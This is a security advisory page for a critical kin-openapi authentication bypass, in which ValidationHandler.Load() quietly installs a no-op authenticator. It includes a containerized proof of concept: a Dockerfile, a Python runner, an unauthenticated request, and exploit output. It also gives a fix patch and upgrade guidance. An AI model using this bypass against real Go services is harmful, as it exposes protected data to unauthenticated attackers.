GHSA-r277-6w6q-xmqw: kin-openapi Authentication Bypass Vulnerability

CRITICAL
CVSS 9.1
CWE-287
Published
Advisory Summary

GHSA-r277-6w6q-xmqw is a CRITICAL (CVSS 9.1) authentication bypass vulnerability (CWE-287: Improper Authentication) affecting kin-openapi libraries in the Go ecosystem. The issue involves validationhandler.load() fail-open authentication bypass via noopauthenticationfunc default. Remediation is available by upgrading affected packages to version 0.144.0.

GHSA-r277-6w6q-xmqw at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-r277-6w6q-xmqw
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-287: Improper Authentication
Affected Product kin-openapi
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix GHSA-r277-6w6q-xmqw

To remediate this vulnerability, upgrade all affected kin-openapi dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/getkin/kin-openapi fixed: 0.144.0
Upgrade github.com/getkin/kin-openapi to 0.144.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/getkin/kin-openapi

How to Check if You Are Affected

To determine whether your application is affected by GHSA-r277-6w6q-xmqw, inspect your project dependencies for kin-openapi:

inspect dependencies for github.com/getkin/kin-openapi

Analyze the terminal output to locate any version of kin-openapi in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.144.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In kin-openapi, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `ValidationHandler.Load()` in `getkin/kin-openapi` silently replaces a nil `AuthenticationFunc` with `NoopAuthenticationFunc`, which always returns `nil` without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI `security` requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on `ValidationHandler` as its enforcement middleware. ### Details `ValidationHandler` is an HTTP middleware exported by `openapi3filter` that validates incoming requests and responses against a loaded OpenAPI specification. Its `Load()` method initialises default fields before the handler begins serving: ```go // openapi3filter/validation_handler.go:47-49 if h.AuthenticationFunc == nil { h.AuthenticationFunc = NoopAuthenticationFunc } ``` `NoopAuthenticationFunc` is defined as: ```go // openapi3filter/validation_handler.go:17-18 func NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil } ``` It always returns `nil`, meaning every security scheme check it handles is automatically approved. When a request arrives, `ServeHTTP` → `before` → `validateRequest` assembles a `RequestValidationInput` with the current `AuthenticationFunc` (now the no-op) injected into `Options`: ```go // openapi3filter/validation_handler.go:91-103 options := &Options{ AuthenticationFunc: h.AuthenticationFunc, } requestValidationInput := &RequestValidationInput{ Request: r, PathParams: pathParams, Route: route, Options: options, } if err = ValidateRequest(r.Context(), requestValidationInput); err != nil { return err } ``` Inside `ValidateRequest`, each security requirement calls `options.AuthenticationFunc`: ```go // openapi3filter/validate_request.go:436-438 f := options.AuthenticationFunc if f == nil { return ErrAuthenticationServiceMissing // fail-closed path — never reached via ValidationHandler } // ... // openapi3filter/validate_request.go:497-503 if err := f(ctx, &AuthenticationInput{...}); err != nil { return err } ``` Because `f` is the no-op (not `nil`), the `ErrAuthenticationServiceMissing` guard is never triggered and `f(...)` returns `nil`, clearing the security requirement. Control then proceeds to the protected handler (`validation_handler.go:61-62`). The critical contradiction is that callers who use `ValidateRequest` directly with a nil `AuthenticationFunc` get fail-closed behavior (`ErrAuthenticationServiceMissing`), while callers who use the higher-level `ValidationHandler` with a nil `AuthenticationFunc` get fail-open behavior. Since omitting `AuthenticationFunc` is the natural default, the majority of real-world integrations are vulnerable. Affected source file and line: `openapi3filter/validation_handler.go:47–49` (commit `30e2923`, tag `v0.143.0`). ### PoC **Environment** ``` Docker (any version supporting multi-stage builds) Go 1.25 (inside the container via golang:1.25-alpine) getkin/kin-openapi v0.143.0 (local source copy) ``` **Step 1 — Build the Docker image** From the repository root (parent of `vuln-001/`): ```bash docker build \ -t vuln001-auth-bypass-poc \ -f vuln-001/Dockerfile \ reports/github_web_233_getkin__kin-openapi ``` The `Dockerfile` copies the local `kin-openapi` source into `/kin-openapi/` inside the image and builds a Go binary (`/poc-binary`) from `main.go`. The `go.mod` inside the image uses a `replace` directive pointing to `/kin-openapi`, so no network access to the Go module proxy is required. **Step 2 — Run the container** ```bash docker run --rm --network none vuln001-auth-bypass-poc ``` **Step 3 (alternative) — Use the Python helper** ```bash python3 vuln-001/poc.py --no-cleanup ``` **What the PoC does** `main.go` creates a temporary OpenAPI 3.0 spec that declares `GET /secret` as protected by an `apiKey` security scheme: ```yaml paths: /secret: get: security: - apiKey: [] components: securitySchemes: apiKey: type: apiKey name: X-Api-Key in: header ``` It then constructs a `ValidationHandler` **without** setting `AuthenticationFunc`, calls `Load()`, and sends a request with no `X-Api-Key` header: ```http GET /secret HTTP/1.1 Host: example.test # X-Api-Key header is intentionally absent ``` **Expected (vulnerable) output** ``` === CONTRAST: Direct ValidateRequest with nil AuthenticationFunc === Direct ValidateRequest (nil auth) => ERROR: security requirements failed: missing AuthenticationFunc -> Fail-CLOSED behavior confirmed: missing auth function is rejected === EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc === OpenAPI spec defines: security: [{apiKey: []}] on GET /secret ValidationHandler.AuthenticationFunc: NOT SET (nil) Load() will inject NoopAuthenticationFunc, which always returns nil Request: GET /secret (X-Api-Key header: absent) Response: status=200 body="SECRET_DATA\n" [EXPLOIT SUCCESS] Auth bypass confirmed! Protected resource /secret returned SECRET_DATA without credentials. ValidationHandler.Load() silently injected NoopAuthenticationFunc. Security requirement was bypassed. VULN-001 REPRODUCED. ``` The contrast block confirms fail-closed behavior when `ValidateRequest` is called directly. The exploit block confirms fail-open behavior through `ValidationHandler`. Status 200 and `SECRET_DATA` are returned without any credential. **Remediation patch** ```diff --- a/openapi3filter/validation_handler.go +++ b/openapi3filter/validation_handler.go @@ if h.Handler == nil { h.Handler = http.DefaultServeMux } - if h.AuthenticationFunc == nil { - h.AuthenticationFunc = NoopAuthenticationFunc - } if h.ErrorEncoder == nil { h.ErrorEncoder = DefaultErrorEncoder } ``` After this change, a nil `AuthenticationFunc` propagates into `ValidateRequest`, which returns `ErrAuthenticationServiceMissing` and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: `h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc`. ### Impact This is an **authentication bypass** vulnerability (CWE-287). Any application that: 1. uses `openapi3filter.ValidationHandler` as its HTTP middleware, and 2. declares one or more `security` requirements in its OpenAPI specification, and 3. does **not** explicitly set `AuthenticationFunc`, is fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded. Affected parties include all Go services that adopt `ValidationHandler` as a drop-in validation layer and rely on OpenAPI `security` declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the "getting started" path are affected without any additional mistake. The confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM golang:1.25-alpine # Install git (needed by go mod for some packages) RUN apk add --no-cache git WORKDIR /workspace # Copy the vulnerable kin-openapi repository as a local module replacement COPY repo/ /kin-openapi/ # Set up the PoC Go module RUN mkdir -p /workspace/poc WORKDIR /workspace/poc # Create go.mod that uses the local copy of the vulnerable kin-openapi RUN cat > go.mod <<'EOF' module kin-openapi-auth-bypass-poc go 1.25 require github.com/getkin/kin-openapi v0.143.0 replace github.com/getkin/kin-openapi => /kin-openapi EOF # Copy the PoC source (build context is the parent directory of vuln-001/) COPY vuln-001/main.go /workspace/poc/main.go # Resolve dependencies and build RUN go mod tidy && \ go build -o /poc-binary . # Run the PoC CMD ["/poc-binary"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default Repository: getkin/kin-openapi v0.143.0 CWE: CWE-287 (Improper Authentication) CVSS: 9.1 (Critical) Vulnerability Summary: ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc. NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement passes without validation when the user forgets to set AuthenticationFunc. Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing (fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open). Usage: python3 poc.py [--build-dir <dir>] [--image <name>] [--no-cleanup] """ import argparse import os import subprocess import sys import json IMAGE_NAME = "vuln001-auth-bypass-poc" SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) REPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), "repo") SUCCESS_MARKER = "[EXPLOIT SUCCESS]" EXPECTED_STATUS = "status=200" EXPECTED_BODY = 'body="SECRET_DATA\\n"' def run(cmd, **kwargs): """Run a shell command and return (returncode, stdout, stderr).""" print(f"[CMD] {' '.join(cmd)}") result = subprocess.run(cmd, capture_output=True, text=True, **kwargs) if result.stdout: print(result.stdout, end="") if result.stderr: print(result.stderr, end="", file=sys.stderr) return result.returncode, result.stdout, result.stderr def build_image(build_dir): """Build the Docker image containing the PoC binary.""" print("\n[*] Building Docker image ...") rc, stdout, stderr = run([ "docker", "build", "--build-arg", f"REPO_DIR={REPO_DIR}", "-t", IMAGE_NAME, "-f", os.path.join(build_dir, "Dockerfile"), # Build context is the reports root so both Dockerfile and repo/ are reachable os.path.dirname(build_dir), ]) if rc != 0: print(f"[ERROR] Docker build failed (exit {rc})", file=sys.stderr) sys.exit(rc) print("[*] Docker build succeeded.") return f"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, 'Dockerfile')} {os.path.dirname(build_dir)}" def run_container(): """Run the container and capture output.""" print("\n[*] Running PoC container ...") rc, stdout, stderr = run([ "docker", "run", "--rm", "--network", "none", # no network access needed IMAGE_NAME, ]) combined = stdout + stderr return rc, combined def evaluate(exit_code, output): """Determine whether the exploit was confirmed.""" passed = ( exit_code == 0 and SUCCESS_MARKER in output and EXPECTED_STATUS in output and EXPECTED_BODY in output ) return passed def cleanup_image(): """Remove the Docker image.""" print(f"\n[*] Removing Docker image {IMAGE_NAME} ...") run(["docker", "rmi", "-f", IMAGE_NAME]) def main(): global IMAGE_NAME parser = argparse.ArgumentParser(description="VULN-001 Auth Bypass PoC runner") parser.add_argument("--build-dir", default=SCRIPT_DIR, help="Directory containing Dockerfile and main.go") parser.add_argument("--image", default=IMAGE_NAME, help="Docker image name to build/run") parser.add_argument("--no-cleanup", action="store_true", help="Keep the Docker image after the run") args = parser.parse_args() IMAGE_NAME = args.image print("=" * 60) print("VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default") print("=" * 60) print(f" Build dir : {args.build_dir}") print(f" Repo dir : {REPO_DIR}") print(f" Image : {IMAGE_NAME}") build_cmd = build_image(args.build_dir) run_cmd = f"docker run --rm --network none {IMAGE_NAME}" exit_code, output = run_container() if not args.no_cleanup: cleanup_image() passed = evaluate(exit_code, output) print("\n" + "=" * 60) if passed: print("[RESULT] PASS — Auth bypass CONFIRMED") print(" The protected handler returned SECRET_DATA without credentials.") print(" ValidationHandler.Load() injected NoopAuthenticationFunc silently.") else: print(f"[RESULT] FAIL — Exploit not confirmed (exit={exit_code})") print(f"\nContainer exit code : {exit_code}") print(f"Success marker found: {SUCCESS_MARKER in output}") print(f"Status 200 found : {EXPECTED_STATUS in output}") print(f"Secret body found : {EXPECTED_BODY in output}") # Exit with code that signals pass/fail sys.exit(0 if passed else 1) if __name__ == "__main__": main() ```

GHSA-r277-6w6q-xmqw Affected kin-openapi Versions

1 component(s)
Fixed Versions:
0.144.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/getkin/kin-openapi
Go
< 0.144.0
0.144.0

References

Frequently Asked Questions

What is GHSA-r277-6w6q-xmqw?
GHSA-r277-6w6q-xmqw is a security vulnerability in kin-openapi involving ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default under CWE-287: Improper Authentication.
Which kin-openapi versions are affected?
Affected versions include releases prior to 0.144.0 across affected packages: github.com/getkin/kin-openapi.
What version fixes GHSA-r277-6w6q-xmqw?
Upgrading to 0.144.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/getkin/kin-openapi affected?
Yes, github.com/getkin/kin-openapi is affected in releases prior to 0.144.0. Upgrade your dependency to 0.144.0 or later.
What is the CVSS score of GHSA-r277-6w6q-xmqw?
GHSA-r277-6w6q-xmqw has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with GHSA-r277-6w6q-xmqw?
GHSA-r277-6w6q-xmqw is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check Go dependencies for GHSA-r277-6w6q-xmqw?
Run the dependency tree command: 'inspect dependencies for github.com/getkin/kin-openapi'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r277-6w6q-xmqw",
  "modified" : "2026-07-24T16:52:05Z",
  "published" : "2026-07-24T16:52:05Z",
  "aliases" : [ ],
  "summary" : "kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default",
  "details" : "### Summary\n`ValidationHandler.Load()` in `getkin/kin-openapi` silently replaces a nil `AuthenticationFunc` with `NoopAuthenticationFunc`, which always returns `nil` without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI `security` requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on `ValidationHandler` as its enforcement middleware. \n\n### Details\n`ValidationHandler` is an HTTP middleware exported by `openapi3filter` that validates incoming requests and responses against a loaded OpenAPI specification. Its `Load()` method initialises default fields before the handler begins serving:\n\n```go\n// openapi3filter/validation_handler.go:47-49\nif h.AuthenticationFunc == nil {\n    h.AuthenticationFunc = NoopAuthenticationFunc\n}\n```\n\n`NoopAuthenticationFunc` is defined as:\n\n```go\n// openapi3filter/validation_handler.go:17-18\nfunc NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil }\n```\n\nIt always returns `nil`, meaning every security scheme check it handles is automatically approved.\n\nWhen a request arrives, `ServeHTTP` → `before` → `validateRequest` assembles a `RequestValidationInput` with the current `AuthenticationFunc` (now the no-op) injected into `Options`:\n\n```go\n// openapi3filter/validation_handler.go:91-103\noptions := &Options{\n    AuthenticationFunc: h.AuthenticationFunc,\n}\nrequestValidationInput := &RequestValidationInput{\n    Request:    r,\n    PathParams: pathParams,\n    Route:      route,\n    Options:    options,\n}\nif err = ValidateRequest(r.Context(), requestValidationInput); err != nil {\n    return err\n}\n```\n\nInside `ValidateRequest`, each security requirement calls `options.AuthenticationFunc`:\n\n```go\n// openapi3filter/validate_request.go:436-438\nf := options.AuthenticationFunc\nif f == nil {\n    return ErrAuthenticationServiceMissing   // fail-closed path — never reached via ValidationHandler\n}\n// ...\n// openapi3filter/validate_request.go:497-503\nif err := f(ctx, &AuthenticationInput{...}); err != nil {\n    return err\n}\n```\n\nBecause `f` is the no-op (not `nil`), the `ErrAuthenticationServiceMissing` guard is never triggered and `f(...)` returns `nil`, clearing the security requirement. Control then proceeds to the protected handler (`validation_handler.go:61-62`).\n\nThe critical contradiction is that callers who use `ValidateRequest` directly with a nil `AuthenticationFunc` get fail-closed behavior (`ErrAuthenticationServiceMissing`), while callers who use the higher-level `ValidationHandler` with a nil `AuthenticationFunc` get fail-open behavior. Since omitting `AuthenticationFunc` is the natural default, the majority of real-world integrations are vulnerable.\n\nAffected source file and line: `openapi3filter/validation_handler.go:47–49` (commit `30e2923`, tag `v0.143.0`).\n\n### PoC\n**Environment**\n\n```\nDocker (any version supporting multi-stage builds)\nGo 1.25 (inside the container via golang:1.25-alpine)\ngetkin/kin-openapi v0.143.0 (local source copy)\n```\n\n**Step 1 — Build the Docker image**\n\nFrom the repository root (parent of `vuln-001/`):\n\n```bash\ndocker build \\\n  -t vuln001-auth-bypass-poc \\\n  -f vuln-001/Dockerfile \\\n  reports/github_web_233_getkin__kin-openapi\n```\n\nThe `Dockerfile` copies the local `kin-openapi` source into `/kin-openapi/` inside the image and builds a Go binary (`/poc-binary`) from `main.go`. The `go.mod` inside the image uses a `replace` directive pointing to `/kin-openapi`, so no network access to the Go module proxy is required.\n\n**Step 2 — Run the container**\n\n```bash\ndocker run --rm --network none vuln001-auth-bypass-poc\n```\n\n**Step 3 (alternative) — Use the Python helper**\n\n```bash\npython3 vuln-001/poc.py --no-cleanup\n```\n\n**What the PoC does**\n\n`main.go` creates a temporary OpenAPI 3.0 spec that declares `GET /secret` as protected by an `apiKey` security scheme:\n\n```yaml\npaths:\n  /secret:\n    get:\n      security:\n        - apiKey: []\ncomponents:\n  securitySchemes:\n    apiKey:\n      type: apiKey\n      name: X-Api-Key\n      in: header\n```\n\nIt then constructs a `ValidationHandler` **without** setting `AuthenticationFunc`, calls `Load()`, and sends a request with no `X-Api-Key` header:\n\n```http\nGET /secret HTTP/1.1\nHost: example.test\n# X-Api-Key header is intentionally absent\n```\n\n**Expected (vulnerable) output**\n\n```\n=== CONTRAST: Direct ValidateRequest with nil AuthenticationFunc ===\n  Direct ValidateRequest (nil auth) => ERROR: security requirements failed: missing AuthenticationFunc\n  -> Fail-CLOSED behavior confirmed: missing auth function is rejected\n\n=== EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc ===\n  OpenAPI spec defines: security: [{apiKey: []}] on GET /secret\n  ValidationHandler.AuthenticationFunc: NOT SET (nil)\n  Load() will inject NoopAuthenticationFunc, which always returns nil\n\n  Request:  GET /secret  (X-Api-Key header: absent)\n  Response: status=200  body=\"SECRET_DATA\\n\"\n\n[EXPLOIT SUCCESS] Auth bypass confirmed!\n  Protected resource /secret returned SECRET_DATA without credentials.\n  ValidationHandler.Load() silently injected NoopAuthenticationFunc.\n  Security requirement was bypassed. VULN-001 REPRODUCED.\n```\n\nThe contrast block confirms fail-closed behavior when `ValidateRequest` is called directly. The exploit block confirms fail-open behavior through `ValidationHandler`. Status 200 and `SECRET_DATA` are returned without any credential.\n\n**Remediation patch**\n\n```diff\n--- a/openapi3filter/validation_handler.go\n+++ b/openapi3filter/validation_handler.go\n@@\n  if h.Handler == nil {\n      h.Handler = http.DefaultServeMux\n  }\n- if h.AuthenticationFunc == nil {\n-     h.AuthenticationFunc = NoopAuthenticationFunc\n- }\n  if h.ErrorEncoder == nil {\n      h.ErrorEncoder = DefaultErrorEncoder\n  }\n```\n\nAfter this change, a nil `AuthenticationFunc` propagates into `ValidateRequest`, which returns `ErrAuthenticationServiceMissing` and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: `h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc`.\n\n### Impact\nThis is an **authentication bypass** vulnerability (CWE-287). Any application that:\n\n1. uses `openapi3filter.ValidationHandler` as its HTTP middleware, and\n2. declares one or more `security` requirements in its OpenAPI specification, and\n3. does **not** explicitly set `AuthenticationFunc`,\n\nis fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded.\n\nAffected parties include all Go services that adopt `ValidationHandler` as a drop-in validation layer and rely on OpenAPI `security` declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the \"getting started\" path are affected without any additional mistake.\n\nThe confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM golang:1.25-alpine\n\n# Install git (needed by go mod for some packages)\nRUN apk add --no-cache git\n\nWORKDIR /workspace\n\n# Copy the vulnerable kin-openapi repository as a local module replacement\nCOPY repo/ /kin-openapi/\n\n# Set up the PoC Go module\nRUN mkdir -p /workspace/poc\nWORKDIR /workspace/poc\n\n# Create go.mod that uses the local copy of the vulnerable kin-openapi\nRUN cat > go.mod <<'EOF'\nmodule kin-openapi-auth-bypass-poc\n\ngo 1.25\n\nrequire github.com/getkin/kin-openapi v0.143.0\n\nreplace github.com/getkin/kin-openapi => /kin-openapi\nEOF\n\n# Copy the PoC source (build context is the parent directory of vuln-001/)\nCOPY vuln-001/main.go /workspace/poc/main.go\n\n# Resolve dependencies and build\nRUN go mod tidy && \\\n    go build -o /poc-binary .\n\n# Run the PoC\nCMD [\"/poc-binary\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default\nRepository: getkin/kin-openapi v0.143.0\nCWE: CWE-287 (Improper Authentication)\nCVSS: 9.1 (Critical)\n\nVulnerability Summary:\n    ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc.\n    NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement\n    passes without validation when the user forgets to set AuthenticationFunc.\n\n    Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing\n    (fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open).\n\nUsage:\n    python3 poc.py [--build-dir <dir>] [--image <name>] [--no-cleanup]\n\"\"\"\n\nimport argparse\nimport os\nimport subprocess\nimport sys\nimport json\n\nIMAGE_NAME = \"vuln001-auth-bypass-poc\"\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nREPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), \"repo\")\n\nSUCCESS_MARKER = \"[EXPLOIT SUCCESS]\"\nEXPECTED_STATUS = \"status=200\"\nEXPECTED_BODY = 'body=\"SECRET_DATA\\\\n\"'\n\n\ndef run(cmd, **kwargs):\n    \"\"\"Run a shell command and return (returncode, stdout, stderr).\"\"\"\n    print(f\"[CMD] {' '.join(cmd)}\")\n    result = subprocess.run(cmd, capture_output=True, text=True, **kwargs)\n    if result.stdout:\n        print(result.stdout, end=\"\")\n    if result.stderr:\n        print(result.stderr, end=\"\", file=sys.stderr)\n    return result.returncode, result.stdout, result.stderr\n\n\ndef build_image(build_dir):\n    \"\"\"Build the Docker image containing the PoC binary.\"\"\"\n    print(\"\\n[*] Building Docker image ...\")\n    rc, stdout, stderr = run([\n        \"docker\", \"build\",\n        \"--build-arg\", f\"REPO_DIR={REPO_DIR}\",\n        \"-t\", IMAGE_NAME,\n        \"-f\", os.path.join(build_dir, \"Dockerfile\"),\n        # Build context is the reports root so both Dockerfile and repo/ are reachable\n        os.path.dirname(build_dir),\n    ])\n    if rc != 0:\n        print(f\"[ERROR] Docker build failed (exit {rc})\", file=sys.stderr)\n        sys.exit(rc)\n    print(\"[*] Docker build succeeded.\")\n    return f\"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, 'Dockerfile')} {os.path.dirname(build_dir)}\"\n\n\ndef run_container():\n    \"\"\"Run the container and capture output.\"\"\"\n    print(\"\\n[*] Running PoC container ...\")\n    rc, stdout, stderr = run([\n        \"docker\", \"run\", \"--rm\",\n        \"--network\", \"none\",   # no network access needed\n        IMAGE_NAME,\n    ])\n    combined = stdout + stderr\n    return rc, combined\n\n\ndef evaluate(exit_code, output):\n    \"\"\"Determine whether the exploit was confirmed.\"\"\"\n    passed = (\n        exit_code == 0\n        and SUCCESS_MARKER in output\n        and EXPECTED_STATUS in output\n        and EXPECTED_BODY in output\n    )\n    return passed\n\n\ndef cleanup_image():\n    \"\"\"Remove the Docker image.\"\"\"\n    print(f\"\\n[*] Removing Docker image {IMAGE_NAME} ...\")\n    run([\"docker\", \"rmi\", \"-f\", IMAGE_NAME])\n\n\ndef main():\n    global IMAGE_NAME\n    parser = argparse.ArgumentParser(description=\"VULN-001 Auth Bypass PoC runner\")\n    parser.add_argument(\"--build-dir\", default=SCRIPT_DIR,\n                        help=\"Directory containing Dockerfile and main.go\")\n    parser.add_argument(\"--image\", default=IMAGE_NAME,\n                        help=\"Docker image name to build/run\")\n    parser.add_argument(\"--no-cleanup\", action=\"store_true\",\n                        help=\"Keep the Docker image after the run\")\n    args = parser.parse_args()\n    IMAGE_NAME = args.image\n\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default\")\n    print(\"=\" * 60)\n    print(f\"  Build dir : {args.build_dir}\")\n    print(f\"  Repo dir  : {REPO_DIR}\")\n    print(f\"  Image     : {IMAGE_NAME}\")\n\n    build_cmd = build_image(args.build_dir)\n    run_cmd = f\"docker run --rm --network none {IMAGE_NAME}\"\n\n    exit_code, output = run_container()\n\n    if not args.no_cleanup:\n        cleanup_image()\n\n    passed = evaluate(exit_code, output)\n\n    print(\"\\n\" + \"=\" * 60)\n    if passed:\n        print(\"[RESULT] PASS — Auth bypass CONFIRMED\")\n        print(\"  The protected handler returned SECRET_DATA without credentials.\")\n        print(\"  ValidationHandler.Load() injected NoopAuthenticationFunc silently.\")\n    else:\n        print(f\"[RESULT] FAIL — Exploit not confirmed (exit={exit_code})\")\n\n    print(f\"\\nContainer exit code : {exit_code}\")\n    print(f\"Success marker found: {SUCCESS_MARKER in output}\")\n    print(f\"Status 200 found    : {EXPECTED_STATUS in output}\")\n    print(f\"Secret body found   : {EXPECTED_BODY in output}\")\n\n    # Exit with code that signals pass/fail\n    sys.exit(0 if passed else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/getkin/kin-openapi"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.144.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.143.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/getkin/kin-openapi/security/advisories/GHSA-r277-6w6q-xmqw"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/getkin/kin-openapi/commit/f0407d53b0730280266f454b755010e7eeb985da"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/getkin/kin-openapi"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/getkin/kin-openapi/releases/tag/v0.144.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-24T16:52:05Z",
    "nvd_published_at" : null
  }
}